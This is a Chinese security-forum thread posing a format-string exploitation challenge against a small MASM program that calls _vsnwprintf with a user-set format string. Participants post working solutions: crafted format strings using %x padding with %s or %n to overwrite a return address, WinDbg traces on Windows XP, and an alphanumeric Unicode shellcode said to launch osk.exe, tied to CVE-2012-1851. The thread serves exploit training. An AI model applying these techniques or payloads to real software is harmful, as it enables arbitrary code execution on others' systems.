首页
社区
课程
招聘
[水平测试]ExploitMe,格式化字符串漏洞演练
发表于: 2012-8-13 17:06 5249

[水平测试]ExploitMe,格式化字符串漏洞演练

2012-8-13 17:06
5249

有下面这么一个有漏洞的小程序,你可以自定义fmt1变量的值,让程序可以执行一个小程序.
程序可以在你指定的位置以你指定的方式运行比如加参数,可以不用考虑dep问题.

.386
.model flat, stdcall
option casemap:none

include      c:\masm32\include\kernel32.inc
includelib  c:\masm32\lib\kernel32.lib

exp            proto
exp2          proto :dword,:dword,:dword,:dword

.data
dlllib         db 'msvcrt.dll',0
funname  db '_vsnwprintf',0
prtfun      dd 0
fmt1         db 'xxxxxxx',0

.code

exp2    proc   prtbuf:dword,len:dword,pfmt:dword,plist:dword

lea     eax,plist
push    eax
push    pfmt
push    len           
push    prtbuf            
call    prtfun
add     esp, 10h
        ret
exp2    endp

exp     proc   
        local   prtbuf[512]:byte
        
        invoke  RtlZeroMemory,addr prtbuf,512
        push    00h
        push    offset fmt1
        push    512d
        lea     eax,prtbuf
        push    eax
        call    exp2
        ret
exp     endp

start:
        invoke LoadLibraryA,offset dlllib
        invoke GetProcAddress,eax,offset funname
        mov    prtfun,eax
        call    exp
        ret
end    start


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 6
支持
分享
最新回复 (8)
雪    币: 411
活跃值: (252)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
2
希望看到一些巧妙的利用方式,对了程序代码不能有改动,程序只能改fmt1变量的值,长度不要超过512字节.
2012-8-13 17:17
0
雪    币: 435
活跃值: (1287)
能力值: ( LV13,RANK:388 )
在线值:
发帖
回帖
粉丝
3
bin是用masm32编译的console程序,构造fmt1如下
[COLOR="Red"]fmt1        db 0f4h,55h,88h,7ch,'%',0,'2',0,'5',0,'6',0,'x',0,'%',0,'s',0,0,0[/COLOR]


fmt1中第一个dword的值来源于kernel32中的一个指向argv的指针
[COLOR="red"]0:000> ? poi(kernel32!GetCommandLineA+1)
Evaluate expression: 2089309684 = 7c8855f4[/COLOR]

fmt1中的%256x往栈里填充512字节
%s会将第一个dword 0x7c8855f4作为字符串指针往栈里拷贝
经过以上填充和拷贝,返回地址被argv指针覆盖

构造bin文件名
[COLOR="red"]BuAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.exe[/COLOR]

cmd下加参数helloworld!!!!!!!!!!!!运行
[COLOR="red"]C:\>BuAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.exe helloworld!!!!!!!!!!![/COLOR]


溢出发生并返回时时,eip指向argv
[COLOR="red"]0:000> da eip
001423b8  "BuAaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
001423d8  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa."
001423f8  "exe helloworld!!!!!!!!!!!"[/COLOR]

文件名经过构造'BuA'可以执行,单步两步
[COLOR="red"]eax=ffffffff ebx=7ffd3000 ecx=0000145a edx=7ffffff5 esi=01cd7a94 edi=b3428be6
eip=001423b8 esp=0012ffc4 ebp=00300020 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
001423b8 42              inc     edx
0:000> p
eax=ffffffff ebx=7ffd3000 ecx=0000145a edx=7ffffff6 esi=01cd7a94 edi=b3428be6
eip=001423b9 esp=0012ffc4 ebp=00300020 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
001423b9 7541            jne     001423fc                                [br=1]
0:000> p
eax=ffffffff ebx=7ffd3000 ecx=0000145a edx=7ffffff6 esi=01cd7a94 edi=b3428be6
eip=001423fc esp=0012ffc4 ebp=00300020 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
001423fc 68656c6c6f      push    6F6C6C65h[/COLOR]

此时eip指向参数
[COLOR="red"]0:000> da eip
001423fc  "helloworld!!!!!!!!!!!"[/COLOR]

只要把shellcode作为参数用以上方法执行,即可执行任意代码
2012-8-15 12:00
0
雪    币: 435
活跃值: (1287)
能力值: ( LV13,RANK:388 )
在线值:
发帖
回帖
粉丝
4
环境是xp sp3 调试的话要 附加
以调试态启动 argv 会有双引号
2012-8-15 12:02
0
雪    币: 411
活跃值: (252)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
5
上个我的答案.
C:\1234aEaeMEUe\eYeCeCeIAIAIAIAIAIAIAIAIAIAIAIAIAIA4444jXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBp3Z250EzkOnbqZq3aHnrXMNNpZoLZerTL1nbQpzZ9lrWxk88EovLH6UWkSKRPuXqQsVbm8kOJBm0A>prt ASIXASIXJJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIQwsTmqTps0LK1PtLNkbP5LnMlKcXwxLKbUgLLKsL6NqhwsKMLKt75pGsKEFSYYQYG1Lms3Je5cYKfoMndPuhJRcDtHO1zkdMS3JzW0XkL1MQikOhKNNjtNRUxcnksoEtvcyM0fLKTLpKLK3oULdCkmnkWtNkgsxEPhROPsrKePPT9oZpgpA

运行osk.exe

fmt1的值设为:
fmt1        db 091h,0fdh,13h,0,'%',0,'2',0,'5',0,'4',0,'x',0,'%',0,'n',0,0,0

比楼上的应该要通用一些.

另外这个题其实是调ms12-054中的CVE-2012-1851,随手写来练手的.
2012-8-17 18:42
0
雪    币: 435
活跃值: (1287)
能力值: ( LV13,RANK:388 )
在线值:
发帖
回帖
粉丝
6
lz的栈顶肯定是0x140000吧
我的是0x130000所以改了fmt1里的第一个dword 0x12fd91

这个dword的意图应该是通过%n来修改_vsnprintf的返回地址的高24位
在本机上 返回地址被改为0x10016
这里的低8位0x16,估计也是看编译器的把

返回时确实指向了环境变量,但是执行失败

返回时
0:000> du eip
00010016  "=C:\1234aEaeMEUe\eYeCeCeIAIAIAIA"
00010056  "IAIAIAIAIAIAIAIAIAIA4444jXAQADAZ"
00010096  "ABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ1"
000100d6  "1AIAIABABABQI1AIQIAIQI111AIAJQYA"
00010116  "ZBABABABABkMAGB9u4JBp3Z250EzkOnb"
00010156  "qZq3aHnrXMNNpZoLZerTL1nbQpzZ9lrW"
00010196  "xk88EovLH6UWkSKRPuXqQsVbm8kOJBm0"
000101d6  "A"

0:000> db eip
00010016  3d 00 43 00 3a 00 5c 00-31 00 32 00 33 00 34 00  =.C.:.\.1.2.3.4.
00010026  61 00 45 00 61 00 65 00-4d 00 45 00 55 00 65 00  a.E.a.e.M.E.U.e.
00010036  5c 00 65 00 59 00 65 00-43 00 65 00 43 00 65 00  \.e.Y.e.C.e.C.e.
00010046  49 00 41 00 49 00 41 00-49 00 41 00 49 00 41 00  I.A.I.A.I.A.I.A.
00010056  49 00 41 00 49 00 41 00-49 00 41 00 49 00 41 00  I.A.I.A.I.A.I.A.
00010066  49 00 41 00 49 00 41 00-49 00 41 00 49 00 41 00  I.A.I.A.I.A.I.A.
00010076  49 00 41 00 49 00 41 00-34 00 34 00 34 00 34 00  I.A.I.A.4.4.4.4.
00010086  6a 00 58 00 41 00 51 00-41 00 44 00 41 00 5a 00  j.X.A.Q.A.D.A.Z.


如果大家用的同一个bin的话 估计就能见识到纯unicode字符串shellcode是怎么执行的了



ps以前真不知道0x10000这里放着环境变量 学习了
2012-8-17 19:52
0
雪    币: 411
活跃值: (252)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
7
楼上说得对,我这个要求其实也不少
栈顶要是00140000
然后返回地址的低位要是0x16,这个也是和编译器有关系不过一般问题不大因为这程序比较简单.
然后就可以跳到00010016去执行了.
然后00010016里面的值应该是从"=C:\1234aEaeMEUe"里面的a开始的.....

另外相互交流:)
2012-8-17 20:39
0
雪    币: 78
活跃值: (85)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
8
00010010一般来说存放的是C盘的当前目录,由于程序在C盘的某个目录下执行,所以这个地方会变成这个样儿:

=C:=C:\dir\dir

这样的话00010016就刚好指向 =C:\dir\dir
2012-8-17 20:46
0
雪    币: 435
活跃值: (1287)
能力值: ( LV13,RANK:388 )
在线值:
发帖
回帖
粉丝
9
原来如此 非常感谢 已经成功弹出虚拟键盘
2012-8-18 09:50
0
游客
登录 | 注册 方可回帖
返回
//